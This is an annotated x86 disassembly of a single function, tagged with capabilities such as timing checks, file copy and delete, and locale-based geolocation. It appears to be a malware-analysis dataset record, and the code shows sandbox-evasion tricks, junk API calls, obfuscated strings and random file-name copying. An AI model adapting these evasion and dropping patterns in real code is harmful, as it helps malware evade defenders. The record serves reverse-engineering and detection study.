Function at 0x4151fe
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Get geographical location

Disassembly:
push 0x26c
mov eax, 0x440967
call fcn.0042b376
mov eax, dword [ebp + 8]
mov dword [ebp - 0x90], eax
xor esi, esi
lea eax, [ebp - 0xc0]
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], esi
call fcn.0041987d
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0xc4], eax
lea eax, [ebp - 0xc0]
lea ecx, [ebp + 0xc]
call fcn.00403277
mov ecx, dword [eax]
mov eax, dword [eax + 4]
push esi
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0xd0], eax
call fcn.0042a13f
pop ecx
mov dword [ebp - 0x8c], esi
lea esi, [ebp - 0x150]
call fcn.00417881
mov byte [ebp - 4], 1
push dword [ebp - 0xd0]
lea eax, [ebp - 0xb0]
push dword [ebp - 0xd4]
push dword [ebp - 0xc4]
push dword [ebp - 0xc8]
push 0
push 0x100
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x94], esp
push 0x2f
push str._http:_
call fcn.0040801d
lea edi, [ebp - 0x218]
call fcn.00426ea5
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.00427269
mov byte [ebp - 4], 3
cmp dword [eax + 0x18], 0x10
jb 0x4152d7
mov eax, dword [eax + 4]
jmp 0x4152da
add eax, 4
lea ecx, [ebp - 0x158]
push ecx
mov ebx, eax
call fcn.00417955
push eax
lea eax, [ebp - 0x150]
push eax
mov byte [ebp - 4], 4
call fcn.004196a6
movzx edi, al
add esp, 0x1c
lea eax, [ebp - 0x158]
push eax
mov byte [ebp - 4], 3
call fcn.004179e3
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0xb0]
call fcn.0040329c
lea esi, [ebp - 0x218]
mov byte [ebp - 4], 1
call fcn.00417161
push ebx
call fcn.0042a13f
pop ecx
cmp edi, ebx
je 0x4156f9
mov eax, dword [ebp - 0x138]
sub eax, dword [ebp - 0x13c]
push 0x14
cdq
pop ecx
idiv ecx
cmp eax, 4
jne 0x4156d6
lea eax, [ebp - 0xf0]
xor esi, esi
push eax
inc esi
push esi
lea ecx, [ebp - 0x150]
call fcn.00417910
push eax
call fcn.0041793a
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 5
call fcn.00402e94
push ebx
push esi
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 7
call fcn.0040329c
lea eax, [ebp - 0xb0]
push eax
push 2
lea ecx, [ebp - 0x150]
call fcn.00417910
push eax
call fcn.0041793a
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 8
call fcn.00402e94
push ebx
push esi
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0xa
call fcn.0040329c
lea eax, [ebp - 0xf0]
push eax
push 3
lea ecx, [ebp - 0x150]
call fcn.00417910
push eax
call fcn.0041793a
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0xb
call fcn.00402e94
push ebx
push esi
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0xd
call fcn.0040329c
lea esi, [ebp - 0x1c0]
call fcn.00417881
push ebx
push 0x100
lea eax, [ebp - 0xb0]
push eax
sub esp, 0x1c
mov byte [ebp - 4], 0xe
mov esi, esp
mov dword [ebp - 0x94], esp
push 0x1f
push str.http:_
call fcn.0040801d
lea edi, [ebp - 0x218]
call fcn.00426ea5
mov byte [ebp - 4], 0xf
mov ecx, eax
call fcn.00427269
mov byte [ebp - 4], 0x10
cmp dword [eax + 0x18], 0x10
jb 0x41546c
mov eax, dword [eax + 4]
jmp 0x41546f
add eax, 4
lea ecx, [ebp - 0xc0]
push ecx
mov ebx, eax
call fcn.00417955
push eax
lea eax, [ebp - 0x1c0]
push eax
lea eax, [ebp - 0x2c]
push eax
mov byte [ebp - 4], 0x11
call fcn.00419526
movzx edi, al
add esp, 0x10
lea eax, [ebp - 0xc0]
push eax
mov byte [ebp - 4], 0x10
call fcn.004179e3
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0xb0]
call fcn.0040329c
lea esi, [ebp - 0x218]
mov byte [ebp - 4], 0xe
call fcn.00417161
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
dec eax
je 0x4154da
dec eax
dec eax
je 0x4154da
sub eax, 4
jne 0x4154e5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call fcn.00409b8b
cmp edi, ebx
jne 0x415512
lea esi, [ebp - 0x1b8]
call fcn.00417a5b
push ebx
push 1
lea ecx, [ebp - 0x64]
call fcn.0040329c
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.0040329c
push ebx
push 1
jmp 0x4156ce
mov eax, dword [ebp - 0x1a8]
sub eax, dword [ebp - 0x1ac]
push 0x14
cdq
pop ecx
idiv ecx
cmp eax, 2
jne 0x4154e9
lea eax, [ebp - 0xb0]
push eax
push 1
lea ecx, [ebp - 0x1c0]
call fcn.00417910
push eax
call fcn.0041793a
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x12
call fcn.00402e94
push ebx
push 1
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0x14
call fcn.0040329c
sub esp, 0x1c
lea eax, [ebp - 0x64]
mov ecx, esp
mov dword [ebp - 0x94], esp
push eax
call fcn.00402e94
sub esp, 0x1c
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x48]
mov ecx, esp
mov dword [ebp - 0x84], esp
push eax
call fcn.00402e94
sub esp, 0x1c
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x80]
mov ecx, esp
mov dword [ebp - 0x15c], esp
push eax
call fcn.00402e94
sub esp, 0x1c
lea eax, [ebp - 0x2c]
mov ecx, esp
mov dword [ebp - 0xcc], esp
push eax
mov byte [ebp - 4], 0x17
call fcn.00402e94
mov ecx, dword [ebp - 0x90]
mov byte [ebp - 4], 0x14
call fcn.00416230
push ebx
lea ecx, [ebp - 0x150]
call fcn.00417910
push dword [eax + 4]
push dword [eax]
push dword [ebp - 0x14c]
push dword [ebp - 0x150]
call fcn.004196d0
add esp, 0x10
lea ecx, [ebp - 0x150]
mov esi, eax
call fcn.004178e9
mov edi, eax
add edi, esi
lea esi, [ebp - 0xc8]
call fcn.00403ed8
mov eax, dword [ebp - 0xc8]
cmp eax, 0xfffffffc
je 0x415630
cmp eax, ebx
je 0x41562b
cmp eax, dword [ebp - 0xd4]
je 0x415630
call fcn.00428d17
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0xc4], eax
jae 0x415709
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push ebx
shr esi, 0x18
call fcn.0042a13f
imul eax, eax, 0x63
pop ecx
cmp esi, eax
jbe 0x41566a
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
xor eax, eax
inc eax
jmp 0x41566c
xor eax, eax
dec eax
jne 0x4156a0
push 4
lea eax, [ebp - 0x88]
push eax
push 0x20001009
mov esi, 0x400
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0x20
lea eax, [ebp - 0xb4]
push eax
push 0x58
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call fcn.0040c42d
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x80]
call fcn.0040329c
lea esi, [ebp - 0x1b8]
call fcn.00417a5b
push ebx
push edi
lea ecx, [ebp - 0x64]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp - 0x48]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp - 0x2c]
call fcn.0040329c
lea esi, [ebp - 0x148]
mov byte [ebp - 4], bl
call fcn.00417a5b
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 0x1e
jb 0x415266
jmp 0x41574d
lea esi, [ebp - 0x148]
mov byte [ebp - 4], bl
call fcn.00417a5b
jmp 0x41574f
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x80]
call fcn.0040329c
lea esi, [ebp - 0x1b8]
call fcn.00417a5b
push ebx
push edi
lea ecx, [ebp - 0x64]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp - 0x48]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp - 0x2c]
call fcn.0040329c
lea esi, [ebp - 0x148]
mov byte [ebp - 4], bl
call fcn.00417a5b
xor ebx, ebx
lea esi, [ebp - 0x278]
call fcn.00417881
push ebx
push 0x100
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x1c
mov byte [ebp - 4], 0x18
mov esi, esp
mov dword [ebp - 0x88], esp
push 0x23
push str.__http:_
call fcn.0040801d
lea edi, [ebp - 0x14c]
call fcn.00426ea5
mov ecx, eax
mov byte [ebp - 4], 0x19
call fcn.004270be
mov byte [ebp - 4], 0x1a
cmp dword [eax + 0x18], 0x10
jb 0x4157a4
mov eax, dword [eax + 4]
jmp 0x4157a7
add eax, 4
push eax
mov eax, dword [ebp - 0x90]
add eax, 0x1d8
push eax
lea eax, [ebp - 0x80]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x88], esp
push 3
push 0x448c40
call fcn.0040801d
lea edi, [ebp - 0x218]
call fcn.00426ea5
mov ecx, eax
mov byte [ebp - 4], 0x1b
call fcn.00427269
mov byte [ebp - 4], 0x1c
cmp dword [eax + 0x18], 0x10
jb 0x4157f4
mov eax, dword [eax + 4]
jmp 0x4157f7
add eax, 4
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.0041965b
add esp, 0xc
push eax
lea eax, [ebp - 0xb0]
push eax
mov byte [ebp - 4], 0x1d
call fcn.00419421
add esp, 0xc
mov byte [ebp - 4], 0x1e
cmp dword [eax + 0x18], 0x10
jb 0x41582a
mov eax, dword [eax + 4]
jmp 0x41582d
add eax, 4
lea ecx, [ebp - 0xc0]
push ecx
mov ebx, eax
call fcn.00417955
push eax
lea eax, [ebp - 0x278]
push eax
lea eax, [ebp + 0xc]
push eax
mov byte [ebp - 4], 0x1f
call fcn.00419526
movzx eax, al
mov dword [ebp - 0x8c], eax
add esp, 0x10
lea eax, [ebp - 0xc0]
push eax
mov byte [ebp - 4], 0x1e
call fcn.004179e3
xor ebx, ebx
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0xb0]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp - 0xf0]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp - 0x80]
call fcn.0040329c
lea esi, [ebp - 0x218]
call fcn.00417161
push ebx
push edi
lea ecx, [ebp - 0x2c]
call fcn.0040329c
lea esi, [ebp - 0x14c]
mov byte [ebp - 4], 0x18
call fcn.00417161
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push ebx
shr edi, 0x18
call fcn.0042a13f
imul eax, eax, 0x63
pop ecx
cmp edi, eax
jbe 0x41590c
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 4
lea eax, [ebp - 0x88]
push eax
push 0x20001009
mov esi, 0x400
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0x20
lea eax, [ebp - 0xb4]
push eax
push 0x58
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call fcn.0040c486
jmp 0x415911
mov esi, 0x400
cmp dword [ebp - 0x8c], ebx
je 0x416210
mov eax, dword [ebp - 0x260]
sub eax, dword [ebp - 0x264]
push 0x14
cdq
pop ecx
idiv ecx
cmp eax, 2
jne 0x416210
lea eax, [ebp - 0xb0]
push eax
push 1
lea ecx, [ebp - 0x278]
call fcn.00417910
push eax
call fcn.0041793a
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x20
call fcn.00402e94
push ebx
push 1
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0x22
call fcn.0040329c
lea eax, [ebp - 0x44]
push eax
call fcn.00417a22
mov edi, dword [ebp - 0x90]
add edi, 0x2d8
mov byte [ebp - 4], 0x23
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov ecx, 0x8c
cdq
idiv ecx
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x8c], edi
test eax, eax
jbe 0x4159da
lea ebx, [ebp - 0x84]
lea eax, [ebp - 0x44]
call fcn.00417aef
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov ecx, 0x8c
cdq
idiv ecx
inc dword [ebp - 0x84]
cmp dword [ebp - 0x84], eax
jb 0x4159ae
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
dec eax
je 0x4159ed
dec eax
dec eax
je 0x4159ed
sub eax, 4
jne 0x415a50
push ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 3
pop eax
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00427b8b
pop ecx
mov edi, eax
mov dword [ebp - 0x84], edi
push 0xa
pop eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
mov eax, dword [ebp - 0x84]
push dword [eax + edi*4]
push edi
push str.ceed0b03d035fe2bb
call fcn.00428dd6
add esp, 0xc
inc edi
cmp edi, 3
jl 0x415a1c
push dword [ebp - 0x84]
call fcn.00428e04
pop ecx
call fcn.0040c514
mov edi, dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
mov dword [ebp - 0x84], eax
call fcn.0042a13f
fild dword [ebp - 0x84]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x84]
pop ecx
test eax, eax
jge 0x415a7f
fadd qword [0x44a9c8]
call fcn.00438ef0
fild dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
test eax, eax
jge 0x415a9a
fadd qword [0x44a9c8]
fcompp
fnstsw ax
test ah, 5
jp 0x415ab3
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
inc eax
jmp 0x415ab5
xor eax, eax
dec eax
jne 0x415ae4
call fcn.004017c3
push 4
lea eax, [ebp - 0x88]
push eax
push 0x20001009
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0x20
lea eax, [ebp - 0xb4]
push eax
push 0x58
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push ebx
shr esi, 0x18
call fcn.0042a13f
imul eax, eax, 0x63
pop ecx
cmp esi, eax
jbe 0x415b0d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call fcn.0040c5b4
call fcn.0040c648
mov esi, dword [ebp - 0x34]
sub esi, dword [ebp - 0x38]
mov dword [ebp - 0x84], ebx
sar esi, 2
cmp esi, ebx
jbe 0x415b65
call fcn.00428e21
xor edx, edx
div esi
lea eax, [ebp - 0x44]
push edx
call fcn.00417a7e
push dword [ebp - 0x84]
mov esi, eax
lea eax, [ebp - 0x44]
call fcn.00417a7e
cmp eax, esi
je 0x415b4e
mov edx, dword [esi]
mov ecx, dword [eax]
mov dword [eax], edx
mov dword [esi], ecx
mov esi, dword [ebp - 0x34]
sub esi, dword [ebp - 0x38]
inc dword [ebp - 0x84]
sar esi, 2
cmp dword [ebp - 0x84], esi
jb 0x415b20
push ebx
call fcn.0042a13f
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x38]
pop ecx
sar eax, 2
mov dword [ebp - 0x84], ebx
test eax, eax
jbe 0x4161fd
push dword [ebp - 0x84]
lea eax, [ebp - 0x44]
call fcn.00417a7e
push dword [eax]
mov eax, edi
call fcn.00417560
cmp dword [eax + 0x7c], ebx
je 0x415bbb
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x38]
inc dword [ebp - 0x84]
sar eax, 2
cmp dword [ebp - 0x84], eax
jb 0x415b83
jmp 0x4161fd
mov eax, dword [ebp - 0x90]
add eax, 0x19c
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402e94
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0x18]
cmp eax, ebx
je 0x415bf7
lea edi, [eax - 1]
lea eax, [ebp - 0x2c]
call fcn.00408121
cmp byte [eax], 0x5c
je 0x415bf7
xor ebx, ebx
push 0x5c
inc ebx
lea edi, [ebp - 0x2c]
call fcn.0040842d
push 8
pop esi
call fcn.00428e21
and eax, 0x80000001
jns 0x415c0b
dec eax
or eax, 0xfffffffe
inc eax
jne 0x415c20
call fcn.00428e21
cdq
push 0x19
pop ecx
idiv ecx
movsx eax, dl
add eax, 0x61
jmp 0x415c31
call fcn.00428e21
cdq
push 0x19
pop ecx
idiv ecx
movsx eax, dl
add eax, 0x41
xor ebx, ebx
push eax
inc ebx
lea edi, [ebp - 0x2c]
call fcn.0040842d
dec esi
jne 0x415bfa
lea eax, [ebp - 0xb0]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x88], esp
push 4
push str.i1__
call fcn.0040801d
lea edi, [ebp - 0x14c]
call fcn.00426ea5
mov byte [ebp - 4], 0x25
call fcn.00426f18
mov byte [ebp - 4], 0x26
cmp dword [eax + 0x18], 0x10
jb 0x415c81
mov eax, dword [eax + 4]
jmp 0x415c84
add eax, 4
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.004080db
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0xb0]
call fcn.0040329c
lea esi, [ebp - 0x14c]
mov byte [ebp - 4], 0x24
call fcn.00417161
lea eax, [ebp - 0x60]
push eax
call fcn.00417a22
push ebx
call fcn.0042a13f
pop ecx
lea eax, [ebp - 0xf0]
push eax
sub esp, 0x1c
mov dword [ebp - 4], 0x27
mov esi, esp
mov dword [ebp - 0x88], esp
push 0xb
push 0x448c4c
call fcn.0040801d
lea edi, [ebp - 0x14c]
call fcn.00426ea5
mov ecx, eax
mov byte [ebp - 4], 0x2a
call fcn.004270be
mov byte [ebp - 4], 0x2b
cmp dword [eax + 0x18], 0x10
jb 0x415d07
mov eax, dword [eax + 4]
jmp 0x415d0a
add eax, 4
push eax
lea ecx, [ebp - 0xb0]
call fcn.00402e72
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x60]
mov byte [ebp - 4], 0x2c
call fcn.004082b5
push ebx
push 1
lea ecx, [ebp - 0xb0]
call fcn.0040329c
push ebx
push 1
lea ecx, [ebp - 0xf0]
call fcn.0040329c
lea esi, [ebp - 0x14c]
mov byte [ebp - 4], 0x27
call fcn.00417161
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
dec eax
je 0x415d67
dec eax
dec eax
je 0x415d67
sub eax, 4
jne 0x415dc1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 3
pop eax
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00427b8b
pop ecx
mov esi, eax
push 0xa
pop eax
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
push dword [esi + edi*4]
push edi
push str.9247a1a5cc21254b68cfa6a773
call fcn.00428dd6
add esp, 0xc
inc edi
cmp edi, 3
jl 0x415d91
push esi
call fcn.00428e04
pop ecx
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.USER32.dll_GetClipboardOwner]
lea eax, [ebp - 0xf0]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x88], esp
push 5
push str._f_n_S.
call fcn.0040801d
lea edi, [ebp - 0x14c]
call fcn.00426ea5
mov ecx, eax
mov byte [ebp - 4], 0x2d
call fcn.00427269
mov byte [ebp - 4], 0x2e
cmp dword [eax + 0x18], 0x10
jb 0x415e04
mov eax, dword [eax + 4]
jmp 0x415e07
add eax, 4
push eax
lea ecx, [ebp - 0xb0]
call fcn.00402e72
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x60]
mov byte [ebp - 4], 0x2f
call fcn.004082b5
push ebx
push 1
lea ecx, [ebp - 0xb0]
call fcn.0040329c
push ebx
push 1
lea ecx, [ebp - 0xf0]
call fcn.0040329c
lea esi, [ebp - 0x14c]
mov byte [ebp - 4], 0x27
call fcn.00417161
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x88], esp
lea ecx, [ebp - 0x60]
push ecx
push eax
call fcn.0040818f
sub esp, 0x1c
lea eax, [ebp - 0x80]
mov ecx, esp
mov dword [ebp - 0xcc], esp
push eax
mov byte [ebp - 4], 0x30
call fcn.00402e94
mov edi, dword [ebp - 0x90]
lea esi, [edi + 0x18]
mov ecx, esi
mov byte [ebp - 4], 0x27
call fcn.00407c53
cmp eax, ebx
jge 0x415f2e
cmp dword [ebp - 0x68], 0x10
mov eax, dword [ebp - 0x7c]
jae 0x415ea6
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0xb0]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x88], esp
push 0x33
push 0x448c60
call fcn.0040801d
lea edi, [ebp - 0x14c]
call fcn.00426ea5
mov byte [ebp - 4], 0x31
call fcn.0042700a
mov byte [ebp - 4], 0x32
cmp dword [eax + 0x18], 0x10
jb 0x415ee8
mov eax, dword [eax + 4]
jmp 0x415eeb
add eax, 4
mov ebx, dword [ebp - 0x90]
push eax
push 1
call fcn.0040e8e1
add esp, 0xc
push 0
push 1
lea ecx, [ebp - 0xb0]
call fcn.0040329c
lea esi, [ebp - 0x14c]
call fcn.00417161
lea esi, [ebp - 0x60]
call fcn.004087c9
push dword [ebp - 0x60]
call fcn.00428e43
pop ecx
push 0
jmp 0x4161f1
sub esp, 0x1c
lea eax, [ebp - 0x2c]
mov ecx, esp
mov dword [ebp - 0x88], esp
push eax
call fcn.00402e94
mov ecx, esi
call fcn.004069cb
cmp eax, ebx
jge 0x416041
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x415f5d
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xb0]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x88], esp
push 0x33
push 0x448c94
call fcn.0040801d
lea edi, [ebp - 0x14c]
call fcn.00426ea5
mov byte [ebp - 4], 0x33
call fcn.00426f18
mov byte [ebp - 4], 0x34
cmp dword [eax + 0x18], 0x10
jb 0x415f9f
mov eax, dword [eax + 4]
jmp 0x415fa2
add eax, 4
mov ebx, dword [ebp - 0x90]
push eax
push 1
call fcn.0040e8e1
add esp, 0xc
xor edi, edi
push edi
push 1
lea ecx, [ebp - 0xb0]
call fcn.0040329c
lea esi, [ebp - 0x14c]
call fcn.00417161
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x88], eax
fild dword [ebp - 0x88]
test eax, eax
jge 0x415fea
fadd qword [0x44a9c8]
call fcn.00438ef0
fstp qword [ebp - 0xc0]
push edi
call fcn.0042a13f
mov dword [ebp - 0x88], eax
fild dword [ebp - 0x88]
pop ecx
test eax, eax
jge 0x416012
fadd qword [0x44a9c8]
fcomp qword [ebp - 0xc0]
fnstsw ax
test ah, 5
jp 0x41602a
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea esi, [ebp - 0x60]
call fcn.004087c9
push dword [ebp - 0x60]
call fcn.00428e43
pop ecx
push edi
jmp 0x4161f1
sub esp, 0x1c
lea eax, [ebp - 0x2c]
mov ecx, esp
mov dword [ebp - 0x88], esp
push eax
call fcn.00402e94
mov byte [ebp - 4], 0x39
push dword [ebp - 0x84]
lea eax, [ebp - 0x44]
call fcn.00417a7e
push dword [eax]
mov eax, dword [ebp - 0x8c]
call fcn.00417560
sub esp, 0x1c
add eax, 0x3c
mov ecx, esp
mov dword [ebp - 0xcc], esp
push eax
call fcn.00402e94
mov ecx, edi
mov byte [ebp - 4], 0x27
call fcn.00423e84
sub esp, 0x1c
lea eax, [ebp - 0x2c]
mov ecx, esp
mov dword [ebp - 0x88], esp
push eax
call fcn.00402e94
push edi
call fcn.0040de4a
cmp eax, ebx
jge 0x4160fb
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x4160bd
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xb0]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x88], esp
push 0x2d
push str._DRTSN_fC_Rc::_b
call fcn.0040801d
lea edi, [ebp - 0x14c]
call fcn.00426ea5
mov ecx, eax
mov byte [ebp - 4], 0x3a
call fcn.00427269
mov byte [ebp - 4], 0x3b
jmp 0x415edd
push dword [ebp - 0x84]
lea eax, [ebp - 0x44]
call fcn.00417a7e
push dword [eax]
mov eax, dword [ebp - 0x8c]
call fcn.00417560
add eax, 0x58
cmp dword [eax + 0x18], 0x10
jb 0x416124
mov eax, dword [eax + 4]
jmp 0x416127
add eax, 4
cmp dword [ebp - 0x14], 0x10
mov ecx, dword [ebp - 0x28]
jae 0x416133
lea ecx, [ebp - 0x28]
push ebx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, eax
call fcn.00428e21
cdq
push 0x14
pop ecx
idiv ecx
mov esi, edx
inc esi
call fcn.00428e21
cdq
idiv esi
cmp edx, esi
jg 0x416161
mov eax, esi
cdq
idiv esi
cmp edx, ebx
je 0x416173
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.USER32.dll_GetClipboardOwner]
cmp edi, ebx
jne 0x4161df
push dword [ebp - 0x84]
lea eax, [ebp - 0x44]
call fcn.00417a7e
push dword [eax]
mov eax, dword [ebp - 0x8c]
call fcn.00417560
add eax, 0x58
cmp dword [eax + 0x18], 0x10
jb 0x4161a0
mov eax, dword [eax + 4]
jmp 0x4161a3
add eax, 4
push eax
lea eax, [ebp - 0xb0]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x88], esp
push 0x2a
push 0x448cf8
call fcn.0040801d
lea edi, [ebp - 0x14c]
call fcn.00426ea5
mov byte [ebp - 4], 0x3c
call fcn.00426f18
mov byte [ebp - 4], 0x3d
jmp 0x415edd
lea esi, [ebp - 0x60]
call fcn.004087c9
push dword [ebp - 0x60]
call fcn.00428e43
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.0040329c
xor ebx, ebx
lea esi, [ebp - 0x44]
call fcn.00417a5b
push ebx
push 1
lea ecx, [ebp - 0x80]
call fcn.0040329c
lea esi, [ebp - 0x270]
call fcn.00417a5b
push ebx
push 1
lea ecx, [ebp + 0xc]
call fcn.0040329c
xor eax, eax
call fcn.0042b3f9
ret 0x20